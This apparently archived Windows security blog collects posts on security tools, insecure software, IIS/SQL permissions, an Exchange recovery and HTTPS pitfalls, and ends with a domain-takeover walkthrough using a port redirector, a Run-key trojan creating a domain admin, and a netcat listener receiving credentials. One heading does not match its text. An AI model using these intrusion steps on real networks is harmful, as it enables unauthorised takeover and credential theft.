#1: Secunia Personal Software Inspector

Quite possibly the most useful and important free application you can have running on your Windows machine.

It can be used to scan all the installed applications on the PC to determine which programs are missing security patches/updates.

The tool works by by examining files on your computer (primarily .exe, .dll, and .ocx files) for meta information on specific software builds installed. After examining all the files on the machine, the collected data is sent to Secunia’s servers and matched against the Secunia File Signatures engine determine the exact applications installed on your system.

It can be used to flag insecure/end-of-life software and find direct download links to missing security updates.

It monitors more than 4,200 desktop applications.

#2: OpenDNS

Must-have free service (there's no software to install) that speeds up Web surfing, corrects domain typos on the fly and protects you from phishing scams.

All you do is change your DNS settings (instructions here) to the OpenDNS servers: 208.67.222.222 and 208.67.220.220

OpenDNS also offers parental controls, shortcuts and other nifty features to help with safe and reliable browsing experience.

#3 AVG Anti-virus Free Edition

The most popular free solution available at no cost to home users and provides the high level of detection capability that millions of users around the world trust to protect their computers.

#4: Haute Secure

A browser plug-in currently available for Microsoft's Internet Explorer that does realtime blocking of drive-by malware downloads.

The tool, the brainchild of for ex-Microsoft staffers, fits behavior-based profiling algorithms into the browser (Firefox support is coming soon) to identify and intercept malicious files in real-time.

#5: GMER anti-rootkit

A free rootkit scanning tool built by Polish Windows internals guru, is widely hailed as the best at ferreting out stealth rootkits from PCs.

GMER does an excellent job of finding hidden processes hidden services, hidden files hidden registry keys, hidden drivers and all kinds of driver hooking.

It can also serve as a process explorer to monitor the creating of processes, the loading of drivers and libraries and file function and registry entries.

#6: Netcraft Toolbar

Microsoft has released a new version of the Remote Desktop Client that is compatible with some of the new features of Vista. It is available for Windows XP, and 2003.

Some of the new features:

· Network Level Authentication
· Server Authentication
· Plug and Play redirection
· TS Gateway support
· Monitor Spanning
· 32-bit color and font smoothing

To install the new version you can go to windows update.

Internet Explorer is one of many examples of insecure software. Some call Internet Explorer the browser that made the Internet accessible to the masses. Others call it an accident waiting to happen (again and again). Let's think about where IE grew up. Started as a skunk works project alongside Windows 95, Internet Explorer was first released in 1995 as part of the Internet Jumpstart Kit found in Microsoft Plus! For Windows 95. While it was well integrated with the new operating system, few users adopted it, as much more mature and feature rich applications already existed. With the release of IE 2.0 in 1996 it was obvious that MS was not abandoning this software. Cross platform support was added for Macintosh users, and several emerging technologies such as cookies, VRML and RealAudio were now supported. Later that year IE 3.0 was released, and the browser wars truly began. Finally MS had released a product that was capable of competing with Netscape on even ground. Internet Explorer was no longer merely a Web browser, it was the launch point for most of the users Internet needs. Users could read your e-mail, check newsgroups, view videos, listen to music, and (believe it or not) browse the Web too.

Within nine days of its release the very first exploit for IE 3.0 was discovered and released to the public. The rest, as they say, is history.

So how could a company with the resources of Microsoft develop and release a product that is so obviously flawed? The Microsoft campus contains some of the most brilliant designers and programmers the world has to offer. Many of the development practices present at MS are used throughout the industry (which many would say contributes to the problem, but that is a different topic altogether). Why, then, can't even the imposing minds at Microsoft seem to be capable of writing software that can be trusted?

First of all, we should note that there is more than one way for software to be insecure. Methods for exploiting and circumventing security in programs are as varied as the applications they are attacking. Perhaps the fundamental problem is that software is not necessarily designed and constructed with security in mind. Until recently, security has been something of an afterthought in the computer industry, both amongst vendors and among customers/users. Apart from the obvious problem that security has not been a fundamental part of the development process, there are other fundamental problems with software that add to insecurity.

Complexity and Integration of Programs

Today when a program is written, it cannot be assumed that only it and the operating system will be running at any given time. The terms integration and interconnectivity have been chanted like a mantra for several years now. For those old enough to recall, applications used to be relatively single purpose. WordPerfect 5.1, arguably one of the best word processors in existence, was only a word processor. It didn't have any notion of programs other than itself and the operating system. It performed a specific task, and performed it well. However, when Microsoft released their Office suite the world was forever changed. Now not only could you create documents, spreadsheets, and presentations using one application suite, you could actually use these tools together. For example, if you had a spreadsheet in Excel that you wanted to include in your report, all you had to do was copy and paste it into your report document.

As time moves on, more and more components have been either integrated with one another, or are at least able to talk amongst themselves. Soon certain options and functions were only available if other, sometimes unrelated services were enabled. If you wanted to share files across a network, you had to enable the Microsoft file-sharing protocol. Along with this protocol, usually unbeknownst to the user, several other features such as printer sharing and remote registry management were also enabled. To put it another way, the "package deal" was delivering more than the user expected and possibly wanted. This makes the job of securing the system even more difficult as the user may not have an accurate picture of what is and is not setup on the computer.

The code required to construct and run such sophisticated multi-application software is not only highly complex, it is also huge. The code for a single program, like Microsoft Word, consists of millions of lines of code. It is almost beyond the scope of human possibility to ask the software developers to perform the comprehensive quality assessment necessary to ensure optimal security. Even if it were possible, it would be very easy to overlook one or two bugs; after all, even if considerable resources are made available for quality assessment, there is still a finite time in which to conduct it. Hackers, on the other hand, have endless hours to prod and probe for a single vulnerability to exploit.

Need to Rush Software Out Without Adequate Testing

Part of the problem may be the “necessity” to role out commercial software by deadlines imposed by finance and marketing needs. Ask any software developer what it's like to code during a crunch and you'll probably get an earful of complaints. "They want us to do too much in too little time" or "I hope no one ever looks at this code again!” and “It's terrible, but it works" are oft repeated phrases. The Almighty "hack" -- a so-called elegant solution to a programming problem -- or more usually a short-sighted but "clever" way of covering up flaws in the system becomes the required method of development. Suddenly design and coding style are thrown out the window in favor of down and dirty "do what works, we'll fix it later" coding. Initially some of the more idealistic (and typically youthful) coders feel that this sort of programming is wrong; this feeling usually passes quickly under the tutelage of the more experienced team members.

Under these time pressures, errors that may normally be obvious and easy to catch slip through because inadequate attention is given to reviewing and testing the code. This is not to say that flaws are not introduced into the system at earlier stages in the development cycle, but I suspect that most of the big errors are made during this time of accelerated development. Poor program or feature specifications are compounded by designers who can only assume that the specification is complete, and then further by programmers who each have their own unique idea of what the design is really calling for.

With added features comes the added responsibility of ensuring that each of those features works both by itself and with the other components of the system. If you have a subsystem of 15 components, each of which relies on the other at some point, adding another component causes you to not only test the newest piece, but all of the other connected pieces. This can be a very expensive and time consuming process; it is a process that is often cut short, or is poorly done in the interests of shipping on time or reducing costs.

Closed Source Patches

An argument that you hear all the time from the Open Source community is: How can we trust your software if we cannot see what the code is doing? Closed source software is often patched by closed source patches -- essentially you are adding even more unknowns to the security puzzle every time you patch something. When Windows 2000 Service Pack 2 was released, one of the biggest concerns was that suddenly MS Exchange 2000 Server would not longer run. This was not documented, and it was a flaw discovered time and time again by hapless users who, perhaps naively, assumed that the bug fixes in Service Pack 2 would not adversely affect the way that other applications on their systems ran. In fact, even after taking a look at the full list of documented changes found in SP2, one would not be able to guess or deduce that any problems would occur with MS Exchange 2000.

Poor Training

Many software developers do not understand the risks that they are exposing their users to by creating poorly written code. While many explanations are possible, at the root of the problem we can usually find that poor training is the culprit. Either as students the young software developers were not adequately inundated with good coding styles and practices or they simply chose to ignore what advice was given to them. For those fledgling software developers who actually attended some post-secondary education in a relevant field, many of the assignments and problems that they were asked to solve were one-shot standalone entities, meaning that once a problem was solved by whatever code they had written, they would “throw away” their work and never look at it again. Why spend extra effort on making your code clean and safe when the quick and dirty solution still got you full marks?

The write – debug - rewrite cycle is common practice among students and junior coders; that is to say that rather than spending time on design, they will code as much as they can, debug the software when it doesn’t work, and continue rewriting and debugging until such time as the code does what they want it to. Once the goal has been accomplished, it is left alone and the next problem is attacked. Audits for proper memory management, coding style, or compatibility with other code are not adequately conducted. If this trend is not stopped early on, it will grow into a much larger problem until it becomes standard operating practice.

Conclusion

Underlying all the causes of insecure software is a simple philosophical flaw: software is not designed with security in mind. However, there may be a light at the end of the tunnel. Recently, Bill Gates issued a company-wide memo to all Microsoft employees dictating that from this moment forward, security will be a programming priority. In the memo, entitled “Trustworthy Computing”, Gates states: “Trustworthy Computing is the highest priority for all the work we are doing. We must lead the industry to a whole new level of Trustworthiness [sic] in computing...Eventually, our software should be so fundamentally secure that customers never even worry about it...So now, when we face a choice between adding features and resolving security issues, we need to choose security". Whether or not this resolution will be realized is impossible to tell. However, the fact that the memo was issued indicates the growing awareness that software developers must place a much higher priority on secure coding. Whether or not they do so remains to be seen. Until they do, organizations that base their operations on bug-weakened software will continue to be castles built on sand.

Shutdown Event Tracker provides a way for IT professionals to consistently track why users restart or shut down their computers. It does not document why users choose other options, such as Log off and Hibernate. It gathers the reasons users give for restarts and shutdowns to help create a comprehensive picture of an organization's system environment.

You can later view the Shutdown Event Tracker log by searching for the User32 1076 event in the Event Viewer console under the System Log.

This event refers to the failure indicated by the previous Event Log 6008 event. The User32 1076 event is written when the first user with shutdown privileges logs on to the computer after an unexpected restart or shutdown and supplies a reason for the occurrence. An unexpected restart or shutdown is one that the system cannot anticipate, such as when the user pushes the computer's reset button or unplugs the power cord.

Shutdown Event Tracker is enabled by default and supported on all Windows Server 2003 family of operating systems.

To disable Shutdown Event Tracker perform the following:

1. Open Group Policy, then load the group policy you want to apply the change to.

Note: On a computer that is not a part of a domain you can set this feature locally by running GPEDIT.MSC from the Run command.

For example, if you want the setting to affect the entire domain, edit the Default Domain GPO, or another GPO on the domain level.

2. Expand Computer Configuration > Administrative Templates > System.
3. Double-click Display Shutdown Event Tracker.
4. Select Disabled.

5. Click OK to close all dialog boxes.
6. If you want the change to take place right now, refresh the GPO by running the following command in a Command Prompt window or from the Run command:

gpupdate /force

With great sadness I must now recommend that you uninstall BlueFrog - the most successful anti-spam tool todate. So successful that spammers launched such large attacks upon its infrastructure that ISP where nearly crippled. Read the events that lead to Blue Security's surrender here: http://bluefrogfreaks.blogspot.com/

Blue Frog did not fail - Blue Security did!

Maybe someone could continue the project but instead of having a centralised control network that can be targeted it could use a BitTorrent style peer-to-peer network for deploying commands to the frog.

The anti-spam group Blue Security whos tool Blue Frog I use has been under severe attack from the largest spammer (PharmaMaster) in the world. This tells me 1 thing - its working. These spammers wouldnt waste the time, effort or bandwidth if Blue Frog wasnt hurting their businesses. After receivng serevals threats myself I thought about stopping Blue Frog. But then they would have won. So I shall continue and would recommend the tool to even more people - this stuff works!

Aside from blackmail emails sent to community members, there were two separate attacks on Blue Security itself. The first attack was to block worldwide access to Blue Security's corporate website by tampering with the Internet backbone using a technique called "Blackhole Filtering". The Second attack was a DDoS attack on Blue Security's operational system.

More details on attack here

If you get warnings from IE about mixed security in your HTTPS pages, check this link below:

http://gemal.dk/blog/2005/01/27/iframe_without_src_attribute_on_https_in_internet_explorer/

I would have been stuck on this for hours! Thank god for blogging!

[edit: setting src = javascript:false; also works.]

For several days now I've been struggling with a problem involving Installshield 11.5 integration with Visual Studio 2005. I have been converting some C# projects over to .NET 2.0 and was also having to update their installers. I was using an evaluation copy of Installshield 11.5 which meant that every time you opened the solution it prompts to enter a serial number or continue the trial. I could live with that for 30 days whilst I tested it out. Things were going fine until one day every time dialog appeared Visual Studio would just hang.

To cut a long story short, it was not Macrovisions fault (no apologies though - you have plenty of other bugs to fix) at all, it appears that installing the latest security patch for Internet Explorer causes the problem. And from what I can tell its broken a lot of applications out there. The work around is to uninstall the patch (kb896688). You can do this via Add/Remove Programs in Control Panel (you might have to check Show Updates) or if you cant find it there manually by using the spuninst.exe found in the Windows directory under the folder with the patch name in it. ($NtUninstallKB899688$) for instance.

God damn - security. If its not hackers damaging boxes thru lack of security, its Microsoft breaking stuff by patching up the holes.

Now I need to update our automatic patching server to stop it spreading this diseased patch to every body here.

By default, Microsoft Internet Information Services (IIS) 6.0 on Windows Server 2003 runs ASP.NET applications in application pools that use the NT AUTHORITY\Network Service account identity. This account is a least privileged machine account with limited permissions. An application that runs using this account has restricted access to the event log, registry, and file system. The account does have network credentials, which means you can use it to access network resources and remote databases by using Windows authentication. The network resources must be in the same domain as your Web server or in a trusted domain.

In some scenarios, using a custom domain service account is a better approach than using the Network Service account. You should use a custom domain service account if:

• You want to isolate multiple applications on a single server from one another.
• You need different access controls for each application on local and remote resources. For example, other applications cannot access your application's databases if access is restricted to your application's account.
• You want to use Windows auditing to track the activity of each application separately.
• You want to prevent any accidental or deliberate changes to the access controls or permissions associated with the general purpose Network Service account from affecting your application.

SQL Server

ASP.NET applications should use Windows authentication while connecting to a database. By using Windows authentication, you avoid storing database credentials in connection strings and you avoid passing passwords over the network to the database server.

With Windows authentication, your application's process account is used by default for authentication. To be able to access a database, your account requires:

• A SQL Server login on the database server.
• Permissions to the required objects (for example, stored procedures, views, or tables) in the required database.

Granting Access to a Local SQL Server

When the SQL Server is on the Web server, you must create a database login for the NT AUTHORITY\Network Service account.

To access a local SQL Server database using Network Service

1. Start SQL Server Enterprise Manager.
2. Expand the folders in the left panel and locate the Security folder for your local SQL Server.
3. Right-click Logins in the Security folder, and then click New Login.
4. In the SQL Server Login Properties - New Login dialog box, in the Name box, enter NT AUTHORITY\NETWORK SERVICE. Accept the defaults for the other settings, and then click OK.
5. Expand the Databases folders, and then expand the Pubs (or equivalent) database.
6. Right-click Users, and then click New Database User.
7. In the Database User Properties - New User dialog box, select the NT AUTHORITY\NETWORK SERVICE account.
8. In the Permit in Database Role list, select the db_datareader check box.
9. Click OK, and then close the SQL Server Enterprise Manager.

The Network Service account now has permission to read the data in the tables of the designated database.

In practice, your application's requirements may be more complex. For example, you might want to allow read access to certain tables and allow update access to others. The recommended approach to help mitigate the risk posed by SQL injection is to grant execute permissions to the Network Service account on a selected set of stored procedures and provide no direct table access.

Granting Access to a Remote SQL Server

If you are accessing a database on another server in the same domain (or in a trusted domain), the Network Service account's network credentials are used to authenticate to the database. The Network Service account's credentials are of the form DomainName\AspNetServer$, where DomainName is the domain of the ASP.NET server and AspNetServer is your Web server name.

For example, if your ASP.NET application runs on a server named SVR1 in the domain CONTOSO, the SQL Server sees a database access request from CONTOSO\SVR1$.

To access a remote SQL Server using Network Service

To grant access to a remote database server in the same domain or a trusted domain, follow the steps described earlier for a local database, except in step 4, use the DomainName\AspNetServer$ account to create the database login.

Note   In production environments, you should place the network service account into a Windows group and create a SQL Server login for the Windows group.

 

from MSDN

If you value your privacy, especially when using P2P applications to must get yourself a copy of Peer Guardian 2. It uses a dynamic ip database to block known addresses from touching your machine. It is not a firewall but an ip blocker. You'll be amazed at who is snooping on your connection! Remember share, not steal.

Configuration Objective: Create an IIS Site with its own Application Pool with that Application Pool's Identity being set to a local or domain user.  Not a problem...?

Service Unavailable

The specific steps which liberated me from the [worthless-and-why-can't-MS-give-a-clue-when-this-happens] “Service Unavailable” message were:

1. Adding the user account to the IIS_WPG group of the server
2. Give the IIS_WPG group Read & Execute, List Folder Contents, and Read permissions to the Web site directories

TechNet

Debugging remote machines with Visual Studio .NET 2003 from Windows XP used to be a dream. Then along came SP2 to spoil the party. Now its a nightmare.

After a lot of googling I've finally got it working again. Save yourself some time and use these links:

DCOM, XP SP2, and Remote Debugging
(This guy deserves a medal - and his page should be ranked much higher in google)

The VS7.x(Visual Studio 2002 Visual Studio 2003) Debugger doesn’t work. What can I do?

Microsoft 's experimental Honeymonkey project has found almost 750 Web pages that attempt to load malicious code onto visitors' computers and detected an attack using a vulnerability that had not been publicly disclosed, the software giant said in a paper released this month.

Known more formerly as the Strider Honeymonkey Exploit Detection System, the project uses automated Windows XP clients to surf questionable parts of the Web looking for sites that compromise the systems without any user interaction. In the latest experiments, Microsoft has identified 752 specific addresses owned by 287 Web sites that contain programs able to install themselves on a completely unpatched Windows XP system.

Honeymonkeys, a name coined by Microsoft, modify the concept of honeypots--computers that are placed online and monitored to detect attacks.

"The honeymonkey client goes (to malicious Web sites) and gets exploited rather than waiting to get attacked," said Yi-Min Wang, manager of Microsoft's Cybersecurity and Systems Management Research Group. "This technique is useful for basically any company that wants to find out whether their software is being exploited this way by Web sites on the Internet."

The British government is testing a scheme to put active -- the kind that are independently powered -- RFID chips in automobile license plates. They can be read at least 300 feet away, and probably much, much further.

Some people might say that it serves them right. But Cisco are in for a week of hell.

Exploit writers team up to target Cisco routers

Michael Lynn –  "If you put him and a (Cisco) box in a room, the box breaks"

After Cisco strong-armed Mike Lynn's employer into forcing him to abandon his planned presentation on vulnerabilities in Cisco routers at the Black Hat conferences, they sent employees down to literally rip Lynn's presentation out of the program books. Here's video of the presentation disappearing down the memory hole. Video Link at Make Blog

Original article

Now playing: - solidstore radio

Mike Lynn gave an interesting interview to Wired. Here's some news about the FBI's investigation.

Someone is setting up a legal defense fund for Lynn. Send donations via PayPal to Abaddon@IO.com. According to BoingBoing, donations not used to defend Lynn will be donated to the EFF.

Copies of Lynn's talk have popped up on the Internet, but some have been removed due to legal cease-and-desist letters from ISS attorneys, like this one. Currently, Lynn's slides are here, here, here, here, here, here, here, here, here, here, here, here, here, here. (The list is from BoingBoing.) Note that the presentation above is not the same as the one Lynn gave at BlackHat. The presentation at BlackHat didn't have the ISS logo at the bottom, as the one on the Internet does. Also, the critical code components were blacked out. (Photographs of Lynn's actual presentation slides were available here, but have been removed due to legal threats from ISS.)

There have been a bunch of commentary and analyses on the whole story. Business Week completely missed the point. Larry Seltzer at eWeek is more balanced.

Hackers are working overtime to reconstruct Lynn's attack and write an exploit. This, of course, means that we're in much more danger of there being a worm that makes use of this vulnerability.

The sad thing is that we could have avoided this. If Cisco and ISS had simply let Lynn present his work, it would have been just another obscure presentation amongst the sea of obscure presentations that is BlackHat. By attempting to muzzle Lynn, the two companies ensured that 1) the vulnerability was the biggest story of the conference, and 2) some group of hackers would turn the vulnerability into exploit code just to get back at them.

More cookie issues with ASP.NET forms authentication that I expect to run into during QA testing with some of our more security conscious customers (e.g. using SSL). Thanks again Scott for sharing this stuff. Now if I only had time to test my code...

 

Much has been written about the insecurity of passwords. Aside from being guessable, people are regularly tricked into providing their passwords to rogue servers because they can't distinguish spoofed windows and webpages from legitimate ones.

Here's a clever scheme by Rachna Dhamija and Doug Tygar at the University of California Berkeley that tries to deal with the problem. It's called "Dynamic Security Skins," and it's a pair of protocols that augment passwords.

First, the authors propose creating a trusted window in the browser dedicated to username and password entry. The user chooses a photographic image (or is assigned a random image), which is overlaid across the window and text entry boxes. If the window displays the user's personal image, it is safe for the user to enter his password.

Second, to prove its identity, the server generates a unique abstract image for each user and each transaction. This image is used to create a "skin" that automatically customizes the browser window or the user interface elements in the content of a webpage. The user's browser can independently reach the same image that it expects to receive from the server. To verify the server, the user only has to visually verify that the images match.

The latest attack allows an attacker equipped with specialized hardware to reset the pairing process and then record the resulting exchange of data. The brute force cracking algorithm can quickly use that data to find the PIN that secures either device. A password made up of 4 digits takes 0.06 seconds to break. Even a PIN made of 7 decimal digits only takes 76 seconds to break.

How about this! A WiFi hackerbot that seeks out people whose laptops are leaking cleartext passwords and rolls up to their feet, displaying their passwords on a upfacing LCD

One of my favourite blogs has just released an updated list of must have developer tools. Best start downloading!

Critical Mistake #1: Non-HTTPS Login pages (even if submitting to a HTTPS page).

Most webdevs know that HTTPS is comparatively expensive-- the multistage handshake with multiple roundtrips and cryptographic operations is inherently less performant than straight HTTP.  A few years ago, someone got the bright idea that login pages should be served via HTTP to reduce this performance hit. 

The thinking goes something like: "Well, since the HTTP POST containing the user's credentials is sent via HTTPS, any man-in-the-middle can't see the data." 

And this seemed like a reasonable idea.  The practice became even more popular as banks and credit card companies decided that customers should be able to log in directly from the HTTP-delivered homepage.  Three of my financial institutions offer this "convenience".  One of them even draws little lock icons near the login box and provides a phone number for customers to call so they can convince them that it's safe.

There are two problems with this practice: One fairly obvious, and one slightly less obvious.  The first problem is simple: How does the user know that the form is being submitted via HTTPS?  Most browsers have no such UI cue.  (Pretty much everyone turns off the "Warn when sending unencrypted form data" option within 2 minutes of installing the browser.)  Even supposing there was a UI cue that the form was targeted at a HTTPS page, how could the user know that it was going to the right HTTPS page?  If the login form was delivered via HTTP, there's no guarantee it hasn't been changed between the server and the client.  A bad guy sitting on the wire between the two could simply retarget the POST to submit to a HTTPS site that he controls.  Oops. 

Think that's bad?  There's an even more sneaky attack the bad guy could execute.  The event model in HTML is pretty rich, and one of the things it can do is listen for keystroke events.  So, the bad guy could simply rewrite the login page HTML to leak keystrokes to a server he controls, every time a key is pressed.  Unsecured login form + Man-in-the-Middle+ 5 lines of JScript + Serverside keystroke collector = Bad News.  

(Food for thought: The keystroke-sniffing attack gets even worse if your JS can run in the browser chrome, a feature offered by some browsers.)

Critical Mistake #2: Mixing HTTP Content into a HTTPS page

Some HTTPS pages pull in assorted resources over HTTP, which leads to the annoying "This page contains both secure and nonsecure items" prompt.  Why does this hassle exist?  Is it really so bad if some files get pulled down via HTTP, if the main body of my page is delivered via HTTPS?

The answer is, of course, yes, this is a bad thing.  For one thing, it's impossible for the user to tell what parts of the page were delivered securely, and what parts were not.  And worse, if a man-in-the-middle can rewrite the HTTP traffic, he can, for instance, rewrite the HTTPS page using standard DHTML.  Or, he can scan the page for any information of interest (e.g. a credit card number) and POST that data to a server he controls.  Using HTTP-delivered resources on a HTTPS-delivered page pokes holes in your secure channel.  Don't do it.

 

Top football defenders not only tackle hard, but distribute the ball intelligently to teammates. A similar challenge faces software developers today to ensure system uptime and data integrity, while ensuring that systems are nimble enough to operate at Internet speed.

In my opinion, many of the security problems that plague the internet (and computers in general) are caused by the fact that companies still put their priorities in the wrong place. Most programmers still choose performance over stability and security.

Hansleman finds another Gem. If your at all worried about IM security and you SHOULD be, install this software and encrypt your chat sessions - seamless. I love software that just installs and works.

Ring Ring... Hello. Is our mail server not working?

I normally only get phone calls on my work mobile when something is badly wrong. Its never good news. And when its the mail server i just know its gonna be a long day.

Despite what some people think about email and its importance, once companies take things for granted all hell can break loose when those same things are taken away from them. We all rely on email. Period.

OK, take it easy. Reboot the mail server. It will be back up and running whilst i drive into the office.

3 phone calls along the M3 later and I realised today was not going to be a very productive day coding. I was gonna spend the day with Exchange.

The last sentence I wrote may sound very calm yet when this happens on one of the Exchange servers you are responsible for you will be anything but calm. Once the stores in the storage group are dismounted, users are disconnected from their precious information (mail, calendars, contacts) and they will come waving pitchforks.

I find Exchange server to be a very complicated system and as in most complicated systems the most "trivial things" may bring it to its knees. And today when I discovered the eventual reason that our Exchange database was corrupt and wouldnt mount I nearly cried out with pain & laughter.

A very oversimplified analysis of an Exchange server may state that that an Exchange server is nothing more then a database server that has some exotic extensions through which users can manipulate their data. This analysis (even though oversimplified) is not far from truth, and it emphasizes the importance of the database that stores the user's information on an Exchange server.

Exchange server uses a database technology called ESE (Extensible Storage Engine), this database technology is based on the JET (Joint Engine Technology) database engine.

The ESE engine employs several files upon which the database is built (I have only specified the ones that are relevant to our topic):

1. Store files- The store files hold the information that is already committed to disk. Each Exchange store (Private and Public) consists of two files:
   1. EDB- Rich-text database stores information in a proprietary format called Microsoft Database Encapsulated Format (MDBEF) that is submitted by MAPI clients.
   2. STM- Native Content Database holds all data that is submitted by non-MAPI clients.
2. Transaction Log files- the log file stores altered data before it is committed to the database. A set of log files is unique to a storage group. The log files name begins with a prefix that identifies the storage group they belong to- E00XXXXX.log (belongs to the first storage group). The suffix for each log files name is a hexadecimal sequentially assigned number.
   The active log file for a specific storage group is always called: EX0.log (X represents the storage group), once it is filled (5MB) it is renamed using the next sequential hexadecimal number and a new EX0.log is created. Since by default log files are not erased (by default storage groups do not use circular logging) the space on a log disk will eventually be depleted. The standard procedure for removing unused log files is backing the system up (full or incremental).
   As mentioned earlier the size of a log file is 5120KB, if you find that the size of the files is different you may be looking at a corrupt log file.
   Each set of log files has two placeholder files called: res1.log and res2.log. These files are used by the storage group when it runs out of disk space to store altered information before dismounting the storage group.
3. Checkpoint File- The checkpoint file is used to track which transactions have been committed to the database and which transactions have to be committed to the database. The name of the file is EX0.chk (X stands for the storage group) and its size is 8KB.

The symptoms our mail server was displaying were that the stores would not mount and all the event log messages seem to indicate that we had run out of disk space. Now as I know this can spell certain death to an exchange box I regularly check disk space - we had plenty of space - another dead end. Google?

http://support.microsoft.com/?id=819553

This gave me the exact error messages being reporting. But the E00.log it mentions was not missing. Another dead end. The article also warns about Anti-virus. Now I knew this and when I installed our server I setup server rules to exclude the exchange folders from scanning. Another blank.

Ok onto the next Google search

How to test Exchange transaction log files for corruption - http://support.microsoft.com/kb/248122

A good few hours later - no corruption detected. People were starting to wonder if they'd ever see they mail again. I wondered that myself, and let slip that the database maybe lost.

At this point, I needed a cool head. Despite pressure from all sides, I knew I shouldn't set an unrealistic time for completing the restoration of service. Based on my experience, I recommend that you follow these steps.

• Find the last backup.
• Take a copy of the mailbox and public folder stores (Exchange and streaming databases) .
• Make a copy of the transaction logs
• Disable inbound mail connections
• Keep a log of the restore process

OK, backups werent an option here as our backup scheme had failed since mid-December. Dont let this happen to you. Dont get me started talking about backups.

Although a database might be corrupt, you must take a copy of the existing databases. Don't forget to take a copy of the streaming database.

A restore can overwrite the corrupt database, so you need a way back to the state of your database when the corruption occurred. If the restore is unsuccessful, you might be able to repair this database. In this scenario, you want the most recent version of the database, even if it's damaged. If the files are large, you can save time by renaming them to something meaningful (e.g., priv1.oldedb, priv1.oldstm). Remember to leave enough disk space on the database drive for the restore.

Making a copy of the transaction logs is crucial because the transaction logs enable recovery up to the moment of the outage. Check the dates of the transaction logs, and verify that you created them since the last backup.

A server recovery might require several restore attempts, and you don't want queued inbound messages delivered until you're satisfied that the restore process was successful and everything is running normally. Therefore, you need to disable the default SMTP virtual server.

I now tried to remove the transaction logs - giving these up as lost. Now can I mount the db? No.

I used the Eseutil utility to examine the database header and learned that the database was in an inconsistent state.   ESEUTIL /mh <path to database file> ==  Dirty Shutdown

OK, now I had to recover the database using eseutil to get the db back to a clean shutdown but this just gave errors.

Last chance saloon. Repair the db using the same tool even though recommend strongly not to do this in dirty state. Seems to work?

Can I mount the stores?

YES! Horray. Even before I got up to get a fresh cup of tea, people started noticing their mail arriving.

OK, I sit down and open my mail. And sitting there in my Alerts folder is a virus alert on the mail server. Reading, everything started to make sense. The anti-virus software had located some data in the exchange log files that matched a known virus signature. And deleted it! No wonder Exchange collapsed. All the times tied together - I had found the cause.

Then I remembered that I had ruled out anti-virus software being envolved because I had setup exclusions on the exchange data folders - why hadnt that worked?

Checked the settings - missing! Damn it! My exclusions had been lost somehow. OK - i put them back.

On the way home I suddenly realised that the settings must have been lost when the anti-virus upgraded itself recently after a major bug was found

I chuckled as a wondered how many people world wide had just had a day just like mine!

 

From Zdnet: http://news.zdnet.co.uk/0,39020330,39187253,00.htm

Microsoft's AntiSpyware product is threatened by a Trojan horse that also tries to steal online banking details.

Antivirus experts, who are calling the Trojan Bankash-A, say it is the first piece of malware to attack Microsoft's anti-spyware product, which is still in beta.

"This appears to be the first attempt yet by any piece of malware to disable Microsoft AntiSpyware," said Graham Cluley, senior technology consultant for Sophos. "As Microsoft's product creeps out of beta and is adopted more by the home user market, we can expect to see more attempts by Trojan horses, viruses and worms to undermine its effectiveness."

The Trojan is said to suppress warning messages displayed by Microsoft AntiSpyware, and delete all of the files in the program's folder.

Like many other Trojans, Bankash will also steal passwords and online banking details from Windows users. The program targets users of UK online banks such as Barclays, Cahoot, Halifax, HSBC, Lloyds TSB, Nationwide, NatWest, and Smile.

Sophos called the Trojan Bankash because it attacks banking customers and installs a file called ASH.DLL onto a victim's hard drive.

Microsoft's UK press office was awaiting comment from the US headquarters at the time of writing.

 

Owning the Domain

So far I own the database server and the Web server (everything except the domain controller in fact). But what have I really gained with the Web server? To find out, I need to start by uploading my tools to it and getting a remote command shell on that system just like I did on the database server. It is just a bit simpler now that I have an administrative SMB connection to the Web server. SMB allows easy access to the Web server. For example, I can now schedule a command or launch some form of portable remote command shell.

Once I have a local shell, I can use all the normal tools that I know and love. For example, I can easily find out who all the local administrators are. There are not many accounts here:

C:\warez>net localgroup administrators
Alias name administrators
Comment Administrators have complete and 
unrestricted access to the computer/domain
Members
----------------------------------------------
Administrator
PYN_DMZ\_ids
PYN-DMZ\Domain Admins
The command completed successfully.

I only see the service account I've already found, the local administrator, and the domain admins. That probably means that when they need to administer the system, they use a domain administrator account. This means it might be possible to use a Trojan horse program to make one of those users take over the domain for us. Generally speaking, an attacker would rather use a direct attack, since they produce faster results. If all else fails, however, I will resort to a passive attack to accomplish my goal. You may have noticed by now that I have not seen so much as a dialog box. Can't I do some GUI hacking for a change? Sure. There are some tricks to it, though.

Recall that there were only two ports open on the firewall, 80 and 443. Since nothing was listening on port 443 on the Web server, I can establish a listener on that port without disrupting operations and risk tipping off the legitimate administrators. Rebinding terminal services to use that port would be highly noticeable.

Windows Terminal Services (using Remote Desktop Protocol) listens on port 3389. A portscan of the database server reveals that 3389 is indeed open:

C:\warez>portscan 172.17.0.3
Port 172.17.0.3:135 open
Port 172.17.0.3:139 open
Port 172.17.0.3:445 open
Port 172.17.0.3:1433 open
Port 172.17.0.3:3389 open

I can't establish a direct connection to the database server; for one thing, it's on a NAT'd network and is not directly accessible from the Internet. I can get there by putting a port redirector on the Web server. A port redirector takes traffic coming in on one port and directs it to another host on another port. In other words, I'll set up a port redirector on the Web server which will take incoming traffic on port 443 and send it to the SQL server on port 3389:

C:\warez>socketpipe 443 88 3389 172.17.0.3

With that socket open, all I do is establish a Web server connection using Terminal Services Client:

mstsc /v:192.168.2.30:443

Now that I can log on with my _ids user account, I have the full power of a graphical user interface (which some would argue is somewhat less than the full power of a command line, but no matter).

Even with the GUI, I have not yet taken over the DC. I'm going to use a Trojan horse to take it over. To do so, I use a really evil custom tool. First, I'll register it on the Web server (172.17.0.1) over my terminal services connection:

c:\warez>EvilTrojan -r 172.17.0.1 -a 192.168.2.112

The tool registers itself in the HKLM\Software\Microsoft\Windows\CurrentVersion\Run key, and therefore runs every time a user logs on. If that user is a domain admin, it creates a new user account on the domain and then adds that account to the domain admins group. If it's able to do so, it opens up the Messenger service and sends an administrative alert to the attacker (192.168.2.112 in our case). Lastly, it removes itself from the Run key to hide its tracks. All this happens while the administrator is logging on, and therefore is completely transparent to the administrator. In the end, the only thing left on the system to indicate that anything happened is a file called avcheck.exe that is located in the Windows directory.

Obviously, some other backchannel notification can be used. In the real world, attackers often use Internet Relay Chat (IRC). Even a really subtle HTTP transaction can serve as notification. Now all I have to do is to wait for a domain administrator to log on. Once an administrator logs on, I get a handy success notification:

C:\>nc -l -p 80
Succeeded in adding a user.
User: attacker$
Password: "Uare0wn3d!"
